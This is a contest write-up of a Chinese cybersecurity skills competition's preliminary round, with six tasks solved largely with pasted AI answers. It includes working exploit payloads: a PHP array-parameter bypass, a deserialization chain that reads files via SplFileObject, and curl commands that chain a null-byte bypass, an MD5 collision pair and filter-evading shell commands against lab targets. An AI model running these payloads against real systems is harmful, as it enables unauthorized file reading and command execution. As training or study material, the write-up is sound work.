
[!abstract] 赛后总结
时间太紧张了,一开始想着理论题能保底,狂刷了180到理论题,后来做实操题的时候发现实操体简单的令人发指,早知道就先做实操题了。图片隐写和木马分析卡了,图片隐写是因为没有找到html的特定工具,我真是太讨厌这些需要特定工具的图片题目了。木马分析没找到helper。题目5本来做出来了,时间到了没交上flag,一个半小时时间还是比较紧张。
全套题目包括web题目已根据回忆用AI复现了模拟靶场,一键docker启动,关注公众号“泷羽Sec-静安“,后台回复”第二届全国网络安全行业职业技能大赛初赛“即可领取。

题目 1
任务1: 源码审计
任务描述: 这是一个风景欣赏网站,但其源码中隐藏了不为人知的秘密。 提交要求: 进行简单的代码审计,绕过逻辑判断获取flag并提交。
收起靶机信息
**靶机地址:**http://171.111.222.4:11002
用户名:-
密码:-


<?php
highlight_file(__FILE__);
include("flag.php");
header("Content-type: text/html; charset=utf-8");
$num = $_GET['num'];
$cmd = $_GET['cmd'];
if(preg_match("/[0-9]/", $num))
{
die("no!");
}
if(intval($num))
{
echo "give you flag: ".$flag;
}
丢AI直接分析
核心思路:让 $num 不是字符串,而是数组,这样就能同时绕过两个 if,拿到 flag ✅
先分析一下代码逻辑:
$num = $_GET['num'];
$cmd = $_GET['cmd'];
if(preg_match("/[0-9]/", $num))
{
die("no!");
}
if(intval($num))
{
echo "give you flag: ".$flag;
}
想拿到 flag,必须让:
-
preg_match("/[0-9]/", $num)结果是 false(或报错返回 0/false),不能die("no!") -
intval($num)的结果为 非 0,这样才能进入第二个 if
同时题目还限制:$num 中不能出现 0–9 这些字符。
绕过关键点:让 $num 变成数组
PHP 里,如果你这样传参数:
?num[]=abc
那么在 PHP 里:
$num == array(0 => "abc"); // 也就是 $num 是一个数组
接下来看看两处判断在数组情况下的行为:
1. preg_match("/[0-9]/", $num)
preg_match 第二个参数必须是字符串,如果你给它传数组,会怎样?
-
会产生一个 warning:
preg_match(): Argument #2 ($subject) must be of type string, array given -
返回值是 false(0)
也就是说:
if (preg_match("/[0-9]/", $num)) {
die("no!");
}
在 $num 是数组时,这个 if 条件为 false,不会 die("no!"),第一关绕过 ✅
(注意:即便数组里面的元素是 "1", "2" 等带数字,preg_match 根本不会去遍历数组内容,它直接因为类型不对就失败了)
2. if(intval($num))
当你对数组做 intval() / (int) 强制转换时,PHP 的行为是:
-
非空数组 → 转为 int 1
-
空数组
array()→ 转为 int 0
也就是说:
intval(array('abc')) === 1;
所以:
if (intval($num)) {
echo "give you flag: ".$flag;
}
当 $num 是一个 非空数组 时,就会进入 if,输出 flag ✅
最终利用方法(payload)
直接构造请求,让 num 是一个非空数组即可,比如:
GET 方式访问:
http://your-target.com/index.php?num[]=abc
abc 里面爱怎么写都行,甚至可以带数字,因为 preg_match 根本不会对数组内部做匹配:
http://your-target.com/index.php?num[]=123
在这两种情况下,执行流程是:
-
$num = $_GET['num'];→$num是数组 -
preg_match("/[0-9]/", $num)报 warning,返回 0 → 不会 die -
intval($num)→ 1(非 0)→ 条件为 true -
输出:
give you flag: flag{...}
一句话总结
用
num[]=让$num变成数组,利用preg_match对数组报错返回 false +intval(非空数组) == 1的特性,轻松绕过两层判断拿 flag。
你只要在题目环境里访问类似:
/index.php?num[]=a
就能看到 flag 了 🎯

[!success]
flag{d9729feb74992cc3482b350163a1a010}
题目 2
任务2: 编码还原
任务描述: 附件压缩包中文件包含了一串字符,请分析其编码内容。 提交要求: 还原原始明文flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/b2.zip
cyberchef一把梭
LJWXQ2C2GNZTCT2UM54U2MSNGRGWU3DJJZLU2NK2KRHGQTSUNBVE2VCNGRHGUVL2LJKGQ22NI5NG2WSYGA6Q====
ZmxhZ3s1OTgyM2M4MjliNWM5ZTNhNThjMTM4NjUzZThkMGZmZX0=

[!success]
flag{59823c829b5c9e3a58c138653e8d0ffe}
题目 3
任务3: POP链构造
任务描述: 目标站点使用了SPL进行开发。 提交要求: 利用反序列化漏洞构造POP链,结合SPL特性获取服务器权限或读取flag并提交。
收起靶机信息
**靶机地址:**http://171.111.219.56:11013
用户名:-
密码:-
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $username;
public $password;
public function __construct()
{
$this->username = "happy";
$this->password = "super";
$context = new $this->username ($this->password);
var_dump($context);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$con = new $this->username ($this->password);
foreach($con as $f){
echo $f;
}
}
}
class B{
var $password;
public function __construct($user)
{
$this->password = $user;
echo ("hi ".$this->password);
}
}if(isset($_POST['un'])){
unserialize($_POST['un']);
}
else{
$demo=new A;
}
还是直接丢GPT

这题就是典型的 unserialize 链 + 反序列化利用 SplFileObject 读文件 😊
先一起把代码逻辑捋一下(去掉无关的):
error_reporting(0);
highlight_file(__FILE__);
class A{
public $username;
public $password;
public function __construct()
{
$this->username = "happy";
$this->password = "super";
$context = new $this->username ($this->password);
var_dump($context);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$con = new $this->username ($this->password);
foreach($con as $f){
echo $f;
}
}
}
class B{
var $password;
public function __construct($user)
{
$this->password = $user;
echo ("hi ".$this->password);
}
}if(isset($_POST['un'])){
unserialize($_POST['un']);
}
else{
$demo=new A;
}
关键点:
-
有个
unserialize($_POST['un']);,完全没做过滤,可控。 -
只要我们反序列化一个
A类对象,就会自动触发A::__wakeup()。 -
__wakeup()里干了这件事:
$con = new $this->username ($this->password);
foreach($con as $f){
echo $f;
}
也就是:
-
用
$this->username当类名,$this->password当构造参数,去new 一个对象; -
然后对这个对象
foreach,把每一项echo出来。
⚠️ 构造函数 __construct 在反序列化时 不会 自动触发,触发的是 __wakeup,所以 我们可以完全控制 $username 和 $password,而不会被构造函数重置成 "happy" / "super"。
思路:用 SplFileObject 读 flag 文件
PHP 里有个内置类:SplFileObject,构造方式是:
new SplFileObject("filename");
它是 可遍历的,foreach (new SplFileObject("xxx") as $line) 会一行一行遍历文件内容,每个 $line 就是文件的一行。
非常符合我们想要的效果:
让
$username = "SplFileObject",$password = "flag.php"(或者 flag 文件的真实名字)
然后在 __wakeup() 中:
$con = new SplFileObject("flag.php");
foreach ($con as $f) {
echo $f; // 逐行输出 flag.php 的内容
}
💥 获取 flag。
构造恶意序列化数据
要自己构造一个 A 类的序列化对象,带上我们想要的属性:
O:1:"A":2:{
s:8:"username";s:13:"SplFileObject";
s:8:"password";s:8:"flag.php";
}
注意几个长度:
-
类名
A→"A"长度是 1 →O:1:"A":... -
username这个单词 8 个字符 →s:8:"username" -
password同样 8 个字符 →s:8:"password" -
"SplFileObject"
计数:S p l F i l e O b j e c t → 13 个字符 →s:13:"SplFileObject" -
"flag.php"→f(1) l(2) a(3) g(4) .(5) p(6) h(7) p(8)→ 8 个字符 →s:8:"flag.php"
所以最终 payload 是:
O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}
实际利用方式示例
直接 POST 过去即可,例如用 curl:
curl -X POST \
-d 'un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}' \
http://your-target.com/index.php
如果题目环境中 flag 文件名不是 flag.php,而是 flag、/flag、/var/www/html/flag 等,就把 "flag.php" 替换掉即可。
如果不知道 flag 文件名怎么办?
还可以用目录遍历类先“探路”:
-
第一步:列目录名
用
DirectoryIterator:username = "DirectoryIterator"; password = ".";构造:
O:1:"A":2:{s:8:"username";s:17:"DirectoryIterator";s:8:"password";s:1:".";}这样在
__wakeup()中:$con = new DirectoryIterator("."); foreach($con as $f){ echo $f; // 会打印文件名(DirectoryIterator 有 __toString) }你可以从输出中找到类似
flag.php/flag_xxx的文件名。 -
第二步:再用 SplFileObject 读具体文件
换成前面的
SplFileObject + 真正 flag 文件名再打一发。
总结一下利用链
-
入口:
unserialize($_POST['un']); -
魔法方法:
A::__wakeup()自动执行 -
可控点: 我们可控
A对象的username和password -
利用点:
-
设置
$username = "SplFileObject" -
设置
$password = "flag.php"(或者真实 flag 文件) -
通过
foreach(new SplFileObject(...)) echo $f;逐行读出文件内容
-
-
最终 payload:
un=O:1:"A":2:{s:8:"username";s:13:"SplFileObject";s:8:"password";s:8:"flag.php";}
发上去,页面直接把 flag 打出来 👏
如果你贴一下题目目录结构或提示 flag 路径,我可以帮你把 payload 精确到具体文件名。
题目 4
任务4: 图片隐写
任务描述: 这张猫咪图片看起来很普通,但似乎文件尾部藏有东西,或者图片内容经过了特殊处理。 提交要求: 使用隐写工具分析图片,提取隐藏的flag并提交。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/html.png
参考 https://mp.weixin.qq.com/s/**d63Jg5rXuQfDJjqEhtIPbw
html.png的文件名暗示了解出的信息是 HTML实体(Hex编码字符)
这是 stylesuxx.github.io/steganography 这个工具的典型输出特征。
https://stylesuxx.github.io/steganography/
flag{h0w_4bouT_enc0de_4nd_pnG}

[!success]
flag{h0w_4bouT_enc0de_4nd_pnG}
想在本地复现 stylesuxx.github.io/steganography 那样的 LSB 解码(并把 &#x..; 等实体转回明文),下面给你一个「尽可能稳健」的 Python 脚本。它会批量尝试多种常见的 LSB 配置(通道组合、使用的 LSB 位数、位面等),并把每种尝试的输出保存为文件,方便你在本地离线排查是哪一种配置能还原出可读文本。
脚本特点:
-
只依赖 Pillow(PIL)和标准库
html; -
尝试通道:R、G、B、A、以及混合(RGB 同时读取);
-
尝试每像素使用 1~4 个最低有效位(LSB);
-
尝试位面(bitplane)0~3(0=LSB,1=次LSB…);
-
对每种组合,按两种字节构造顺序(MSB-first / LSB-first)拼字节;
-
自动做
html.unescape(),并输出可打印字符比例用于判断是否为合理结果; -
将每种尝试的原文候选保存到
results/目录,文件名注明配置,便于比对。
把下面脚本保存为 lsb_bruteforce.py,安装依赖并运行即可。
# lsb_bruteforce.py
# Usage:
# pip install pillow
# python lsb_bruteforce.py html.png
#
# 输出会写入 ./results/ 目录,带每种尝试的配置。
import sys
import os
from PIL import Image
import html
import string
def ensure_dir(d):
if not os.path.exists(d):
os.makedirs(d)
def get_pixels(img):
# Return pixel sequence as list of tuples
px = list(img.getdata())
return px
def extract_bits_from_channel_value(val, bitplane, nbits):
"""
Extract nbits starting at bitplane (0 = LSB) from value.
Return list of bits as '0'/'1' in order from most-significant-of-extracted to least.
e.g. val=0bABCDEFGH, bitplane=0, nbits=2 -> extract bits H (bit0) and G (bit1)
We return them in order [G,H] if we later want MSB-first grouping, but we'll control ordering later.
"""
bits = []
for i in range(nbits):
bpos = bitplane + i
bits.append( (val >> bpos) & 1 )
# Return as strings
return [str(b) for b in bits]
def build_byte_from_bits(bit_list, msb_first=True):
"""Take up to 8 bits (strings '0'/'1') and return an int byte.
If fewer than 8 bits at end, pad with zeros on the right (least significant side)."""
if len(bit_list) < 8:
# pad with '0' to full byte
bit_list = bit_list + ['0'] * (8 - len(bit_list))
if msb_first:
s = ''.join(bit_list[:8])
return int(s, 2)
else:
# LSB-first ordering: first bit is least significant
s = ''.join(reversed(bit_list[:8]))
return int(s, 2)
def bits_to_bytes_and_text(bit_stream, msb_first=True, max_chars=200000):
# group into bytes and try decode as utf-8 (ignore errors)
bytes_arr = bytearray()
for i in range(0, len(bit_stream), 8):
b = build_byte_from_bits(bit_stream[i:i+8], msb_first=msb_first)
bytes_arr.append(b)
if len(bytes_arr) >= max_chars:
break
try:
text = bytes_arr.decode('utf-8', errors='replace')
except Exception:
text = ''.join(chr(b) for b in bytes_arr)
return bytes_arr, text
def printable_ratio(s):
if not s:
return 0.0
printable = sum(1 for ch in s if ch in string.printable)
return printable / len(s)
def try_configs(img_path, outdir='results'):
img = Image.open(img_path)
# if image has palette convert to RGBA/RGB
mode = img.mode
if mode not in ('RGB', 'RGBA'):
if 'A' in mode:
img = img.convert('RGBA')
else:
img = img.convert('RGB')
px = get_pixels(img)
width, height = img.size
channels_map = {
'R': 0, 'G': 1, 'B': 2, 'A': 3
}
channel_options = [
('R', ['R']),
('G', ['G']),
('B', ['B']),
('A', ['A']) if img.mode == 'RGBA' else None,
('RG', ['R','G']),
('RB', ['R','B']),
('GB', ['G','B']),
('RGB', ['R','G','B']),
]
channel_options = [c for c in channel_options if c is not None]
ensure_dir(outdir)
total_tries = 0
for ch_name, ch_list in channel_options:
for bitplane in range(0, 4): # which bitplane to start (0 = LSB)
for nbits in range(1, 5): # how many LSBs per selected channel (1..4)
# Build bit stream
bit_stream = []
for p in px:
# p might be (r,g,b) or (r,g,b,a)
for ch in ch_list:
idx = channels_map[ch]
if idx >= len(p):
continue
val = p[idx]
bits = extract_bits_from_channel_value(val, bitplane, nbits)
# We append bits in order of extraction (lower bitplane first)
# That yields: [bit_at(bitplane), bit_at(bitplane+1), ...]
# The grouping later will try both MSB-first and LSB-first.
bit_stream.extend(bits)
# try two byte bit-orderings: msb_first True & False
for msb_first in (True, False):
total_tries += 1
b_arr, txt = bits_to_bytes_and_text(bit_stream, msb_first=msb_first)
# post-process: unescape html entities
unescaped = html.unescape(txt)
pr = printable_ratio(unescaped)
# heuristics filename
fname = f"{outdir}/out_{ch_name}_bp{bitplane}_nb{nbits}_{'MSB' if msb_first else 'LSB'}.txt"
with open(fname, 'w', encoding='utf-8', errors='replace') as f:
f.write("=== Metadata ===\n")
f.write(f"image: {img_path}\nchannels: {ch_name}\nbitplane(start): {bitplane}\nnbits_per_channel: {nbits}\nbyte_bit_order_msb_first: {msb_first}\n\n")
f.write("=== Raw decode (utf-8 replace) ===\n")
f.write(txt)
f.write("\n\n=== html.unescape ===\n")
f.write(unescaped)
f.write("\n\n=== Stats ===\n")
f.write(f"length chars: {len(unescaped)}\nprintable ratio: {pr:.4f}\n")
# print quick summary to console for convenience
summary = f"Try {total_tries}: ch={ch_name} bp={bitplane} nb={nbits} msb={msb_first} printable_ratio={pr:.3f} -> {fname}"
print(summary)
print(f"Done. total tries: {total_tries}. Results in: {outdir}/")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python lsb_bruteforce.py path/to/html.png")
sys.exit(1)
img_path = sys.argv[1]
try:
try_configs(img_path, outdir='results')
except Exception as e:
print("Error:", e)
raise
如何判断哪个结果是“正确的”
-
打开
results/目录下的.txt文件,查看=== html.unescape ===部分。 -
正确的结果通常有高可打印字符比例(printable_ratio 接近 0.9+),并且有明显可读的文本,例如
&#x..;已被转为flag{...}或 URL/ASCII 文本。 -
如果你发现输出仍然是 HTML 实体(
&#x..;),再把那段实体文本用 Python 的html.unescape()(脚本已经做过)或在线 HTML entity decode 转换一次即可。
可能的进一步步骤(如果上面没解出可读文本)
-
有些隐写工具把位顺序、通道顺序或字节组装方式弄得更复杂;如果上述尝试都没结果,可以:
-
增加
bitplane到更大值(比如 0…7) — 但通常 0…3 就够了; -
尝试不同的像素遍历顺序(现在是左到右、上到下);可尝试列优先或分块读取;
-
如果结果看起来像 Base64(只含字母数字+/=),做一次 base64 解码;
-
如果结果像二进制加密(无高可打印率),可能还有 XOR/AES 等二次加密,需要额外分析。
-
很好,你已经跑出 256 个候选结果 — 现在的任务是快速筛出最可能有用的几个文件。下面我先给你一套清晰的判别规则(为什么选),然后给你一个可直接在本地运行的 Python 脚本来自动打分并列出最有希望的前 N 个文件,以及若干简单的命令行快速检查方法。照着做 1–2 分钟就能把 256 个结果缩到 5 个以内。
一、判断“有用”的直观信号(优先级从高到低)
-
可打印字符比例高(printable ratio 高) —— 接近 0.8~1.0 极有可能是可读文本。
-
包含 HTML 实体
&#x串(说明提取出的是实体编码,后续html.unescape()会还原) —— 你先前提到就是这种情形。 -
包含明显关键字:
flag、FLAG、CTF、{、}、http、base64、BEGIN/--BEGIN等。 -
看起来像 Base64(只有 A-Za-z0-9+/= 且长度较长) —— 可能还需 base64 解码。
-
低熵但可打印(长序列的英文单词/句子) —— 很可能是最终明文。
-
随机乱码、多不可打印字符/非 ASCII —— 通常无用(排除)。
二、如果你想更快(命令行小技巧)
在 Linux / macOS / WSL / Git Bash 下:
- 直接查找包含
flag的文件:
grep -R -i "flag" results/ -n
- 找出包含 HTML 实体的文件:
grep -R "&#x" results/ -n
- 列出含高 printable_ratio 的(假设你没有用脚本产生 ratio,但可以看文件大小或直接 head):
# show first 200 chars of each file (quick glance)
for f in results/*.txt; do echo "==== $f ===="; head -c 200 "$f"; echo; echo; done
在 Windows PowerShell:
Select-String -Path .\results\*.txt -Pattern "flag","&#x" -CaseSensitive:$false
三、对 html.unescape() 的进一步处理建议
-
如果文件内容是
&#x..;实体 —— 直接用脚本或html.unescape()(你的 earlier 脚本已做)。 -
如果解码后得到看起来像
aGVsbG8...(Base64),再做base64.b64decode()。 -
如果得到奇怪二进制或看起来像随机文本,可能还有 XOR/AES,需要进一步分析(但先不要到那一步,通常不会)。
你可以把 rank_results.py 的输出 top 5 的文件名贴上来,或把其中第1个文件的 === html.unescape === 部分直接粘贴,我来替你把那段进一步还原(HTML 解码 -> Base64 解码 -> 关键词检测 -> 可能的简单 XOR 检查),并给出明确下一步操作。
要不要我现在帮你跑这一轮自动筛选(你把 results/ 打包上传或把 top few 文件内容贴上来)?如果你不想上传,我也会一步步指导你本地运行上面的脚本并解读输出。Python:
import html
encoded = "flag{h0w_4bouT_enc0de_4nd_pnG}"
print(html.unescape(encoded))
在线工具:
搜索关键词:HTML Entity Decode
任选一个贴进去即可
题目 5
任务5: 逻辑绕过
任务描述: 目标系统存在一处逻辑较为复杂的代码漏洞。 提交要求: 审计代码,构造特定的请求参数绕过安全检查,读取flag并提交。
收起靶机信息
靶机地址: http://203.3.80.99:11006
用户名:-
密码:-
<?php
if (isset($_GET['password']) || isset($_GET['cmd'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo '<p>You password must be alphanumeric</p>';
} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
if (strpos($_GET['password'], '*-*') !== FALSE) {
$cmd = $_GET['cmd'];
if (preg_match(
"/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",
$cmd
)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] &&
md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
} else {
echo '<p>*-* have not been found</p>';
}
} else {
echo '<p>Invalid password</p>';
}
}
highlight_file(__FILE__);
?>
我来帮你分析这段PHP代码的逻辑漏洞。
代码逻辑分析
这段代码有多层检查:
- 第一层检查:
ereg ("^[a-zA-Z0-9]+$", $_GET['password'])- 密码必须是字母数字 - 第二层检查:
strlen($_GET['password']) < 8 && $_GET['password'] > 9999999- 这里有逻辑漏洞! - 第三层检查:
strpos ($_GET['password'], '*-*') !== FALSE- 密码必须包含*-* - 第四层检查:
preg_match过滤危险命令 - 第五层检查:MD5碰撞 -
$_POST['a']和$_POST['b']必须不同但MD5相同
关键漏洞点
第二层的逻辑问题:
strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
这里同时要求:
- 字符串长度小于8
- 数值大于9999999
PHP在类型比较时会进行类型转换。当字符串与数字比较时,字符串会被转换为数字。
例如:"1e8" (科学计数法)
strlen("1e8")= 3 (小于8) ✓"1e8" > 9999999→100000000 > 9999999✓
但这与第一层和第三层冲突:
- 第一层要求纯字母数字(
ereg允许通过) - 第三层要求包含
*-*(不是字母数字)
真正的突破口:ereg函数的NULL字节截断漏洞!
绕过方案
使用URL编码的NULL字节 %00 来截断ereg的检查:
password=1e8%00*-*
ereg只检查到%00前的1e8,认为是纯字母数字 ✓strlen("1e8\0*-*")= 7 < 8 ✓"1e8\0*-*" > 9999999→ 转换为1e8= 100000000 > 9999999 ✓strpos能找到完整字符串中的*-*✓
完整的攻击请求
GET参数:
?password=1e8%00*-*&cmd=cat flag
POST参数 (MD5碰撞):
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这两个值内容不同但MD5值相同。
这样就可以绕过所有检查,执行cat flag命令读取flag了。> [!question]
flag不一定在这个目录下,怎么看目录有哪些文件,什么命令可以替代ls的功能
好问题!
ls被过滤了,我们可以用这些命令替代:
# 方案1: 使用 dir (Linux也支持)
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=dir' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2'
# 方案2: 使用通配符 * (但*被过滤了,用 printf)
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=printf%20%27%25s%5Cn%27%20*' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 方案3: 使用 find (最强大,可以搜索整个系统)
# 搜索当前目录
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 方案4: 搜索根目录下所有名为flag的文件
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20/%20%20name%20flag' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
先试试 dir 或 find . 看看当前目录有什么文件!
完美!找到flag文件了:f1ag098765432.php
现在读取它:
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
或者用其他命令:
# 使用 strings
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=strings%20f1ag098765432.php' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
# 使用 rev
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=rev%20f1ag098765432.php' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
执行任意一条就能读取到flag了!🚀
# 方案3: 使用 find (最强大,可以搜索整个系统)
# 搜索当前目录
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
-d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
-d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

[!success]
flag{c99d4695b1f9137804fc83813d20ba1e}
题目 6
任务6: 木马分析
任务描述: 某单位在内外网互传数据的光盘中捕获一窃密木马,现提供包含该木马的样本文件。 提交要求: 通过逆向分析,找出该木马上传数据时的回连IP与端口。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso
xxd 公民信息.jpg | less
感觉啥也没有啊

我来帮您分析这个可疑的木马样本。根据您提供的信息,这是一个通过光盘传播的窃密木马。
初步分析
从 Autorun.inf 文件内容可以看出:
[autorun]
OPEN=.helper\helper.exe
ICON=.helper\IconGroup302.ico
关键发现:
- 自动运行机制: 光盘插入时会自动执行
.helper\helper.exe - 伪装手段: 使用
公民信息.jpg作诱饵文件,实际木马程序隐藏在.helper目录中 - 可疑文件:
helper.exe是需要重点分析的木马主程序
逆向分析方案
要找出回连IP和端口,您需要:
1. 静态分析
- 使用工具: IDA Pro、Ghidra、x64dbg
- 提取
helper.exe文件 - 查找字符串中的IP地址和端口号
- 分析网络相关API调用(如
connect,WSAConnect,InternetConnect等)
2. 动态分析
- 在隔离环境(沙箱)中运行
